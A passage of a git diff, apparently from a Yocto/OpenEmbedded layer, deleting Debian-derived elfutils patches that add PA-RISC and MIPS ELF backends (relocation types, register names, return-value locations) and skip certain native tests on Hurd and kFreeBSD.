-+RELOC_TYPE (DLTIND14F, 0)
-+RELOC_TYPE (SETBASE, 0)
-+RELOC_TYPE (SECREL32, REL)
-+RELOC_TYPE (BASEREL21L, 0)
-+RELOC_TYPE (BASEREL17R, 0)
-+RELOC_TYPE (BASEREL14R, 0)
-+RELOC_TYPE (SEGBASE, 0)
-+RELOC_TYPE (SEGREL32, REL)
-+RELOC_TYPE (PLTOFF21L, 0)
-+RELOC_TYPE (PLTOFF14R, 0)
-+RELOC_TYPE (PLTOFF14F, 0)
-+RELOC_TYPE (LTOFF_FPTR32, 0)
-+RELOC_TYPE (LTOFF_FPTR21L, 0)
-+RELOC_TYPE (LTOFF_FPTR14R, 0)
-+RELOC_TYPE (FPTR64, 0)
-+RELOC_TYPE (PLABEL32, REL|DYN)
-+RELOC_TYPE (PCREL64, 0)
-+RELOC_TYPE (PCREL22C, 0)
-+RELOC_TYPE (PCREL22F, 0)
-+RELOC_TYPE (PCREL14WR, 0)
-+RELOC_TYPE (PCREL14DR, 0)
-+RELOC_TYPE (PCREL16F, 0)
-+RELOC_TYPE (PCREL16WF, 0)
-+RELOC_TYPE (PCREL16DF, 0)
-+RELOC_TYPE (DIR64, REL|DYN)
-+RELOC_TYPE (DIR14WR, REL)
-+RELOC_TYPE (DIR14DR, REL)
-+RELOC_TYPE (DIR16F, REL)
-+RELOC_TYPE (DIR16WF, REL)
-+RELOC_TYPE (DIR16DF, REL)
-+RELOC_TYPE (GPREL64, 0)
-+RELOC_TYPE (GPREL14WR, 0)
-+RELOC_TYPE (GPREL14DR, 0)
-+RELOC_TYPE (GPREL16F, 0)
-+RELOC_TYPE (GPREL16WF, 0)
-+RELOC_TYPE (GPREL16DF, 0)
-+RELOC_TYPE (LTOFF64, 0)
-+RELOC_TYPE (LTOFF14WR, 0)
-+RELOC_TYPE (LTOFF14DR, 0)
-+RELOC_TYPE (LTOFF16F, 0)
-+RELOC_TYPE (LTOFF16WF, 0)
-+RELOC_TYPE (LTOFF16DF, 0)
-+RELOC_TYPE (SECREL64, 0)
-+RELOC_TYPE (BASEREL14WR, 0)
-+RELOC_TYPE (BASEREL14DR, 0)
-+RELOC_TYPE (SEGREL64, 0)
-+RELOC_TYPE (PLTOFF14WR, 0)
-+RELOC_TYPE (PLTOFF14DR, 0)
-+RELOC_TYPE (PLTOFF16F, 0)
-+RELOC_TYPE (PLTOFF16WF, 0)
-+RELOC_TYPE (PLTOFF16DF, 0)
-+RELOC_TYPE (LTOFF_FPTR64, 0)
-+RELOC_TYPE (LTOFF_FPTR14WR, 0)
-+RELOC_TYPE (LTOFF_FPTR14DR, 0)
-+RELOC_TYPE (LTOFF_FPTR16F, 0)
-+RELOC_TYPE (LTOFF_FPTR16WF, 0)
-+RELOC_TYPE (LTOFF_FPTR16DF, 0)
-+RELOC_TYPE (COPY, EXEC)
-+RELOC_TYPE (IPLT, EXEC|DYN)
-+RELOC_TYPE (EPLT, 0)
-+RELOC_TYPE (TPREL32, DYN)
-+RELOC_TYPE (TPREL21L, 0)
-+RELOC_TYPE (TPREL14R, 0)
-+RELOC_TYPE (LTOFF_TP21L, 0)
-+RELOC_TYPE (LTOFF_TP14R, 0)
-+RELOC_TYPE (LTOFF_TP14F, 0)
-+RELOC_TYPE (TPREL64, 0)
-+RELOC_TYPE (TPREL14WR, 0)
-+RELOC_TYPE (TPREL14DR, 0)
-+RELOC_TYPE (TPREL16F, 0)
-+RELOC_TYPE (TPREL16WF, 0)
-+RELOC_TYPE (TPREL16DF, 0)
-+RELOC_TYPE (LTOFF_TP64, 0)
-+RELOC_TYPE (LTOFF_TP14WR, 0)
-+RELOC_TYPE (LTOFF_TP14DR, 0)
-+RELOC_TYPE (LTOFF_TP16F, 0)
-+RELOC_TYPE (LTOFF_TP16WF, 0)
-+RELOC_TYPE (LTOFF_TP16DF, 0)
-+RELOC_TYPE (TLS_DTPMOD32, DYN)
-+RELOC_TYPE (TLS_DTPMOD64, DYN)
-+
-+#define NO_RELATIVE_RELOC 1
-diff --git a/backends/parisc_retval.c b/backends/parisc_retval.c
-new file mode 100644
-index 0000000..df7ec3a
---- /dev/null
-+++ b/backends/parisc_retval.c
-@@ -0,0 +1,213 @@
-+/* Function return value location for Linux/PA-RISC ABI.
-+ Copyright (C) 2005 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <assert.h>
-+#include <dwarf.h>
-+
-+#define BACKEND parisc_
-+#include "libebl_CPU.h"
-+#include "libebl_parisc.h"
-+
-+/* %r28, or pair %r28, %r29. */
-+static const Dwarf_Op loc_intreg32[] =
-+ {
-+ { .atom = DW_OP_reg28 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_reg29 }, { .atom = DW_OP_piece, .number = 4 },
-+ };
-+
-+static const Dwarf_Op loc_intreg[] =
-+ {
-+ { .atom = DW_OP_reg28 }, { .atom = DW_OP_piece, .number = 8 },
-+ { .atom = DW_OP_reg29 }, { .atom = DW_OP_piece, .number = 8 },
-+ };
-+#define nloc_intreg 1
-+#define nloc_intregpair 4
-+
-+/* %fr4L, or pair %fr4L, %fr4R on pa-32 */
-+static const Dwarf_Op loc_fpreg32[] =
-+ {
-+ { .atom = DW_OP_regx, .number = 72 }, { .atom = DW_OP_piece, .number = 4 },
-+ { .atom = DW_OP_regx, .number = 73 }, { .atom = DW_OP_piece, .number = 4 },
-+ };
-+#define nloc_fpreg32 2
-+#define nloc_fpregpair32 4
-+
-+/* $fr4 */
-+static const Dwarf_Op loc_fpreg[] =
-+ {
-+ { .atom = DW_OP_regx, .number = 72 },
-+ };
-+#define nloc_fpreg 1
-+
-+#if 0
-+/* The return value is a structure and is actually stored in stack space
-+ passed in a hidden argument by the caller. Address of the location is stored
-+ in %r28 before function call, but it may be changed by function. */
-+static const Dwarf_Op loc_aggregate[] =
-+ {
-+ { .atom = DW_OP_breg28 },
-+ };
-+#define nloc_aggregate 1
-+#endif
-+
-+static int
-+parisc_return_value_location_ (Dwarf_Die *functypedie, const Dwarf_Op **locp, int pa64)
-+{
-+ Dwarf_Word regsize = pa64 ? 8 : 4;
-+
-+ /* Start with the function's type, and get the DW_AT_type attribute,
-+ which is the type of the return value. */
-+
-+ Dwarf_Attribute attr_mem;
-+ Dwarf_Attribute *attr = dwarf_attr_integrate (functypedie, DW_AT_type, &attr_mem);
-+ if (attr == NULL)
-+ /* The function has no return value, like a `void' function in C. */
-+ return 0;
-+
-+ Dwarf_Die die_mem;
-+ Dwarf_Die *typedie = dwarf_formref_die (attr, &die_mem);
-+ int tag = dwarf_tag (typedie);
-+
-+ /* Follow typedefs and qualifiers to get to the actual type. */
-+ while (tag == DW_TAG_typedef
-+ || tag == DW_TAG_const_type || tag == DW_TAG_volatile_type
-+ || tag == DW_TAG_restrict_type)
-+ {
-+ attr = dwarf_attr_integrate (typedie, DW_AT_type, &attr_mem);
-+ typedie = dwarf_formref_die (attr, &die_mem);
-+ tag = dwarf_tag (typedie);
-+ }
-+
-+ switch (tag)
-+ {
-+ case -1:
-+ return -1;
-+
-+ case DW_TAG_subrange_type:
-+ if (! dwarf_hasattr_integrate (typedie, DW_AT_byte_size))
-+ {
-+ attr = dwarf_attr_integrate (typedie, DW_AT_type, &attr_mem);
-+ typedie = dwarf_formref_die (attr, &die_mem);
-+ tag = dwarf_tag (typedie);
-+ }
-+ /* Fall through. */
-+
-+ case DW_TAG_base_type:
-+ case DW_TAG_enumeration_type:
-+ case DW_TAG_pointer_type:
-+ case DW_TAG_ptr_to_member_type:
-+ {
-+ Dwarf_Word size;
-+ if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_byte_size,
-+ &attr_mem), &size) != 0)
-+ {
-+ if (tag == DW_TAG_pointer_type || tag == DW_TAG_ptr_to_member_type)
-+ size = 4;
-+ else
-+ return -1;
-+ }
-+ if (tag == DW_TAG_base_type)
-+ {
-+ Dwarf_Word encoding;
-+ if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_encoding,
-+ &attr_mem), &encoding) != 0)
-+ return -1;
-+
-+ if (encoding == DW_ATE_float)
-+ {
-+ if (pa64) {
-+ *locp = loc_fpreg;
-+ if (size <= 8)
-+ return nloc_fpreg;
-+ }
-+ else {
-+ *locp = loc_fpreg32;
-+ if (size <= 4)
-+ return nloc_fpreg32;
-+ else if (size <= 8)
-+ return nloc_fpregpair32;
-+ }
-+ goto aggregate;
-+ }
-+ }
-+ if (pa64)
-+ *locp = loc_intreg;
-+ else
-+ *locp = loc_intreg32;
-+ if (size <= regsize)
-+ return nloc_intreg;
-+ if (size <= 2 * regsize)
-+ return nloc_intregpair;
-+
-+ /* Else fall through. */
-+ }
-+
-+ case DW_TAG_structure_type:
-+ case DW_TAG_class_type:
-+ case DW_TAG_union_type:
-+ case DW_TAG_array_type:
-+ aggregate: {
-+ Dwarf_Word size;
-+ if (dwarf_aggregate_size (typedie, &size) != 0)
-+ return -1;
-+ if (pa64)
-+ *locp = loc_intreg;
-+ else
-+ *locp = loc_intreg32;
-+ if (size <= regsize)
-+ return nloc_intreg;
-+ if (size <= 2 * regsize)
-+ return nloc_intregpair;
-+#if 0
-+ /* there should be some way to know this location... But I do not see it. */
-+ *locp = loc_aggregate;
-+ return nloc_aggregate;
-+#endif
-+ /* fall through. */
-+ }
-+ }
-+
-+ /* XXX We don't have a good way to return specific errors from ebl calls.
-+ This value means we do not understand the type, but it is well-formed
-+ DWARF and might be valid. */
-+ return -2;
-+}
-+
-+int
-+parisc_return_value_location_32 (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+{
-+ return parisc_return_value_location_ (functypedie, locp, 0);
-+}
-+
-+int
-+parisc_return_value_location_64 (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+{
-+ return parisc_return_value_location_ (functypedie, locp, 1);
-+}
-+
-diff --git a/backends/parisc_symbol.c b/backends/parisc_symbol.c
-new file mode 100644
-index 0000000..5754bd8
---- /dev/null
-+++ b/backends/parisc_symbol.c
-@@ -0,0 +1,113 @@
-+/* PA-RISC specific symbolic name handling.
-+ Copyright (C) 2002, 2005 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+ Written by Ulrich Drepper <drepper@redhat.com>, 2002.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <elf.h>
-+#include <stddef.h>
-+
-+#define BACKEND parisc_
-+#include "libebl_CPU.h"
-+
-+const char *
-+parisc_segment_type_name (int segment, char *buf __attribute__ ((unused)),
-+ size_t len __attribute__ ((unused)))
-+{
-+ switch (segment)
-+ {
-+ case PT_PARISC_ARCHEXT:
-+ return "PARISC_ARCHEXT";
-+ case PT_PARISC_UNWIND:
-+ return "PARISC_UNWIND";
-+ default:
-+ break;
-+ }
-+ return NULL;
-+}
-+
-+/* Return symbolic representation of symbol type. */
-+const char *
-+parisc_symbol_type_name(int symbol, char *buf __attribute__ ((unused)),
-+ size_t len __attribute__ ((unused)))
-+{
-+ if (symbol == STT_PARISC_MILLICODE)
-+ return "PARISC_MILLI";
-+ return NULL;
-+}
-+
-+/* Return symbolic representation of section type. */
-+const char *
-+parisc_section_type_name (int type,
-+ char *buf __attribute__ ((unused)),
-+ size_t len __attribute__ ((unused)))
-+{
-+ switch (type)
-+ {
-+ case SHT_PARISC_EXT:
-+ return "PARISC_EXT";
-+ case SHT_PARISC_UNWIND:
-+ return "PARISC_UNWIND";
-+ case SHT_PARISC_DOC:
-+ return "PARISC_DOC";
-+ }
-+
-+ return NULL;
-+}
-+
-+/* Check whether machine flags are valid. */
-+bool
-+parisc_machine_flag_check (GElf_Word flags)
-+{
-+ if (flags &~ (EF_PARISC_TRAPNIL | EF_PARISC_EXT | EF_PARISC_LSB |
-+ EF_PARISC_WIDE | EF_PARISC_NO_KABP |
-+ EF_PARISC_LAZYSWAP | EF_PARISC_ARCH))
-+ return 0;
-+
-+ GElf_Word arch = flags & EF_PARISC_ARCH;
-+
-+ return ((arch == EFA_PARISC_1_0) || (arch == EFA_PARISC_1_1) ||
-+ (arch == EFA_PARISC_2_0));
-+}
-+
-+/* Check for the simple reloc types. */
-+Elf_Type
-+parisc_reloc_simple_type (Ebl *ebl __attribute__ ((unused)), int type,
-+ int *addsub __attribute__ ((unused)))
-+{
-+ switch (type)
-+ {
-+ case R_PARISC_DIR64:
-+ case R_PARISC_SECREL64:
-+ return ELF_T_XWORD;
-+ case R_PARISC_DIR32:
-+ case R_PARISC_SECREL32:
-+ return ELF_T_WORD;
-+ default:
-+ return ELF_T_NUM;
-+ }
-+}
-diff --git a/libelf/elf.h b/libelf/elf.h
-index 01648bd..218ceb2 100644
---- a/libelf/elf.h
-+++ b/libelf/elf.h
-@@ -2162,16 +2162,24 @@ enum
- #define R_PARISC_PCREL17F 12 /* 17 bits of rel. address. */
- #define R_PARISC_PCREL14R 14 /* Right 14 bits of rel. address. */
- #define R_PARISC_DPREL21L 18 /* Left 21 bits of rel. address. */
-+#define R_PARISC_DPREL14WR 19
-+#define R_PARISC_DPREL14DR 20
- #define R_PARISC_DPREL14R 22 /* Right 14 bits of rel. address. */
- #define R_PARISC_GPREL21L 26 /* GP-relative, left 21 bits. */
- #define R_PARISC_GPREL14R 30 /* GP-relative, right 14 bits. */
- #define R_PARISC_LTOFF21L 34 /* LT-relative, left 21 bits. */
- #define R_PARISC_LTOFF14R 38 /* LT-relative, right 14 bits. */
-+#define R_PARISC_DLTIND14F 39
-+#define R_PARISC_SETBASE 40
- #define R_PARISC_SECREL32 41 /* 32 bits section rel. address. */
-+#define R_PARISC_BASEREL21L 42
-+#define R_PARISC_BASEREL17R 43
-+#define R_PARISC_BASEREL14R 46
- #define R_PARISC_SEGBASE 48 /* No relocation, set segment base. */
- #define R_PARISC_SEGREL32 49 /* 32 bits segment rel. address. */
- #define R_PARISC_PLTOFF21L 50 /* PLT rel. address, left 21 bits. */
- #define R_PARISC_PLTOFF14R 54 /* PLT rel. address, right 14 bits. */
-+#define R_PARISC_PLTOFF14F 55
- #define R_PARISC_LTOFF_FPTR32 57 /* 32 bits LT-rel. function pointer. */
- #define R_PARISC_LTOFF_FPTR21L 58 /* LT-rel. fct ptr, left 21 bits. */
- #define R_PARISC_LTOFF_FPTR14R 62 /* LT-rel. fct ptr, right 14 bits. */
-@@ -2180,6 +2188,7 @@ enum
- #define R_PARISC_PLABEL21L 66 /* Left 21 bits of fdesc address. */
- #define R_PARISC_PLABEL14R 70 /* Right 14 bits of fdesc address. */
- #define R_PARISC_PCREL64 72 /* 64 bits PC-rel. address. */
-+#define R_PARISC_PCREL22C 73
- #define R_PARISC_PCREL22F 74 /* 22 bits PC-rel. address. */
- #define R_PARISC_PCREL14WR 75 /* PC-rel. address, right 14 bits. */
- #define R_PARISC_PCREL14DR 76 /* PC rel. address, right 14 bits. */
-@@ -2205,6 +2214,8 @@ enum
- #define R_PARISC_LTOFF16WF 102 /* 16 bits LT-rel. address. */
- #define R_PARISC_LTOFF16DF 103 /* 16 bits LT-rel. address. */
- #define R_PARISC_SECREL64 104 /* 64 bits section rel. address. */
-+#define R_PARISC_BASEREL14WR 107
-+#define R_PARISC_BASEREL14DR 108
- #define R_PARISC_SEGREL64 112 /* 64 bits segment rel. address. */
- #define R_PARISC_PLTOFF14WR 115 /* PLT-rel. address, right 14 bits. */
- #define R_PARISC_PLTOFF14DR 116 /* PLT-rel. address, right 14 bits. */
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/hurd_path.patch b/meta/recipes-devtools/elfutils/files/debian/hurd_path.patch
deleted file mode 100644
index 62a960f3a8..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/hurd_path.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Index: elfutils-0.165/tests/run-native-test.sh
-===================================================================
---- elfutils-0.165.orig/tests/run-native-test.sh
-+++ elfutils-0.165/tests/run-native-test.sh
-@@ -83,6 +83,9 @@ native_test()
- # "cannot attach to process: Function not implemented".
- [ "$(uname)" = "GNU/kFreeBSD" ] && exit 77
-
-+# hurd's /proc/$PID/maps does not give paths yet.
-+[ "$(uname)" = "GNU" ] && exit 77
-+
- native_test ${abs_builddir}/allregs
- native_test ${abs_builddir}/funcretval
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/ignore_strmerge.diff b/meta/recipes-devtools/elfutils/files/debian/ignore_strmerge.diff
deleted file mode 100644
index 55513eeddc..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/ignore_strmerge.diff
+++ /dev/null
@@ -1,14 +0,0 @@
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
---- elfutils-0.165.orig/tests/run-strip-strmerge.sh
-+++ elfutils-0.165/tests/run-strip-strmerge.sh
-@@ -30,7 +30,7 @@ remerged=remerged.elf
- tempfiles $merged $stripped $debugfile $remerged
-
- echo elflint $input
--testrun ${abs_top_builddir}/src/elflint --gnu $input
-+testrun_on_self_skip ${abs_top_builddir}/src/elflint --gnu $input
- echo elfstrmerge
- testrun ${abs_top_builddir}/tests/elfstrmerge -o $merged $input
- echo elflint $merged
diff --git a/meta/recipes-devtools/elfutils/files/debian/kfreebsd_path.patch b/meta/recipes-devtools/elfutils/files/debian/kfreebsd_path.patch
deleted file mode 100644
index e85a2fed9d..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/kfreebsd_path.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Index: b/tests/run-native-test.sh
-===================================================================
---- a/tests/run-native-test.sh
-+++ b/tests/run-native-test.sh
-@@ -77,6 +77,12 @@ native_test()
- test $native -eq 0 || testrun "$@" -p $native > /dev/null
- }
-
-+# On the Debian buildds, GNU/kFreeBSD linprocfs /proc/$PID/maps does
-+# not give absolute paths due to sbuild's bind mounts (bug #570805)
-+# therefore the next two test programs are expected to fail with
-+# "cannot attach to process: Function not implemented".
-+[ "$(uname)" = "GNU/kFreeBSD" ] && exit 77
-+
- native_test ${abs_builddir}/allregs
- native_test ${abs_builddir}/funcretval
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/mips_backend.diff b/meta/recipes-devtools/elfutils/files/debian/mips_backend.diff
deleted file mode 100644
index 1097b0ec6f..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/mips_backend.diff
+++ /dev/null
@@ -1,717 +0,0 @@
-From 68b497668cde5171880d073a7ea50d11c3bddbfc Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 15:49:52 +0800
-Subject: [PATCH] mips backend
-
-Rebase to 0.177
-Upstream-Status: Pending [from debian]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/Makefile.am | 8 +-
- backends/mips_init.c | 59 +++++++++
- backends/mips_regs.c | 104 ++++++++++++++++
- backends/mips_reloc.def | 79 ++++++++++++
- backends/mips_retval.c | 321 ++++++++++++++++++++++++++++++++++++++++++++++++
- backends/mips_symbol.c | 53 ++++++++
- libebl/eblopenbackend.c | 2 +
- 7 files changed, 624 insertions(+), 2 deletions(-)
- create mode 100644 backends/mips_init.c
- create mode 100644 backends/mips_regs.c
- create mode 100644 backends/mips_reloc.def
- create mode 100644 backends/mips_retval.c
- create mode 100644 backends/mips_symbol.c
-
-diff --git a/backends/Makefile.am b/backends/Makefile.am
-index 91a38e2..aba8a4a 100644
---- a/backends/Makefile.am
-+++ b/backends/Makefile.am
-@@ -33,13 +33,13 @@ AM_CPPFLAGS += -I$(top_srcdir)/libebl -I$(top_srcdir)/libasm \
-
-
- modules = i386 sh x86_64 ia64 alpha arm aarch64 sparc ppc ppc64 s390 \
-- tilegx m68k bpf riscv csky parisc
-+ tilegx m68k bpf riscv csky parisc mips
- libebl_pic = libebl_i386_pic.a libebl_sh_pic.a libebl_x86_64_pic.a \
- libebl_ia64_pic.a libebl_alpha_pic.a libebl_arm_pic.a \
- libebl_aarch64_pic.a libebl_sparc_pic.a libebl_ppc_pic.a \
- libebl_ppc64_pic.a libebl_s390_pic.a libebl_tilegx_pic.a \
- libebl_m68k_pic.a libebl_bpf_pic.a libebl_riscv_pic.a \
-- libebl_csky_pic.a libebl_parisc_pic.a
-+ libebl_csky_pic.a libebl_parisc_pic.a libebl_mips_pic.a
- noinst_LIBRARIES = $(libebl_pic)
- noinst_DATA = $(libebl_pic:_pic.a=.so)
-
-@@ -145,6 +145,10 @@ csky_SRCS = csky_attrs.c csky_init.c csky_symbol.c csky_cfi.c \
- libebl_csky_pic_a_SOURCES = $(csky_SRCS)
- am_libebl_csky_pic_a_OBJECTS = $(csky_SRCS:.c=.os)
-
-+mips_SRCS = mips_init.c mips_symbol.c mips_regs.c mips_retval.c
-+libebl_mips_pic_a_SOURCES = $(mips_SRCS)
-+am_libebl_mips_pic_a_OBJECTS = $(mips_SRCS:.c=.os)
-+
- libebl_%.so libebl_%.map: libebl_%_pic.a $(libelf) $(libdw) $(libeu)
- @rm -f $(@:.so=.map)
- $(AM_V_at)echo 'ELFUTILS_$(PACKAGE_VERSION) { global: $*_init; local: *; };' \
-diff --git a/backends/mips_init.c b/backends/mips_init.c
-new file mode 100644
-index 0000000..975c04e
---- /dev/null
-+++ b/backends/mips_init.c
-@@ -0,0 +1,59 @@
-+/* Initialization of mips specific backend library.
-+ Copyright (C) 2006 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#define BACKEND mips_
-+#define RELOC_PREFIX R_MIPS_
-+#include "libebl_CPU.h"
-+
-+/* This defines the common reloc hooks based on mips_reloc.def. */
-+#include "common-reloc.c"
-+
-+const char *
-+mips_init (Elf *elf __attribute__ ((unused)),
-+ GElf_Half machine __attribute__ ((unused)),
-+ Ebl *eh,
-+ size_t ehlen)
-+{
-+ /* Check whether the Elf_BH object has a sufficent size. */
-+ if (ehlen < sizeof (Ebl))
-+ return NULL;
-+
-+ /* We handle it. */
-+ if (machine == EM_MIPS)
-+ eh->name = "MIPS R3000 big-endian";
-+ else if (machine == EM_MIPS_RS3_LE)
-+ eh->name = "MIPS R3000 little-endian";
-+
-+ mips_init_reloc (eh);
-+ HOOK (eh, reloc_simple_type);
-+ HOOK (eh, return_value_location);
-+ HOOK (eh, register_info);
-+
-+ return MODVERSION;
-+}
-diff --git a/backends/mips_regs.c b/backends/mips_regs.c
-new file mode 100644
-index 0000000..44f86cb
---- /dev/null
-+++ b/backends/mips_regs.c
-@@ -0,0 +1,104 @@
-+/* Register names and numbers for MIPS DWARF.
-+ Copyright (C) 2006 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <string.h>
-+#include <dwarf.h>
-+
-+#define BACKEND mips_
-+#include "libebl_CPU.h"
-+
-+ssize_t
-+mips_register_info (Ebl *ebl __attribute__((unused)),
-+ int regno, char *name, size_t namelen,
-+ const char **prefix, const char **setname,
-+ int *bits, int *type)
-+{
-+ if (name == NULL)
-+ return 66;
-+
-+ if (regno < 0 || regno > 65 || namelen < 4)
-+ return -1;
-+
-+ *prefix = "$";
-+
-+ if (regno < 32)
-+ {
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ if (regno < 32 + 10)
-+ {
-+ name[0] = regno + '0';
-+ namelen = 1;
-+ }
-+ else
-+ {
-+ name[0] = (regno / 10) + '0';
-+ name[1] = (regno % 10) + '0';
-+ namelen = 2;
-+ }
-+ }
-+ else if (regno < 64)
-+ {
-+ *setname = "FPU";
-+ *type = DW_ATE_float;
-+ *bits = 32;
-+ name[0] = 'f';
-+ if (regno < 32 + 10)
-+ {
-+ name[1] = (regno - 32) + '0';
-+ namelen = 2;
-+ }
-+ else
-+ {
-+ name[1] = (regno - 32) / 10 + '0';
-+ name[2] = (regno - 32) % 10 + '0';
-+ namelen = 3;
-+ }
-+ }
-+ else if (regno == 64)
-+ {
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ name[0] = 'h';
-+ name[1] = 'i';
-+ namelen = 2;
-+ }
-+ else
-+ {
-+ *type = DW_ATE_signed;
-+ *bits = 32;
-+ name[0] = 'l';
-+ name[1] = 'o';
-+ namelen = 2;
-+ }
-+
-+ name[namelen++] = '\0';
-+ return namelen;
-+}
-diff --git a/backends/mips_reloc.def b/backends/mips_reloc.def
-new file mode 100644
-index 0000000..4579970
---- /dev/null
-+++ b/backends/mips_reloc.def
-@@ -0,0 +1,79 @@
-+/* List the relocation types for mips. -*- C -*-
-+ Copyright (C) 2006 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+/* NAME, REL|EXEC|DYN */
-+
-+RELOC_TYPE (NONE, 0)
-+RELOC_TYPE (16, 0)
-+RELOC_TYPE (32, 0)
-+RELOC_TYPE (REL32, 0)
-+RELOC_TYPE (26, 0)
-+RELOC_TYPE (HI16, 0)
-+RELOC_TYPE (LO16, 0)
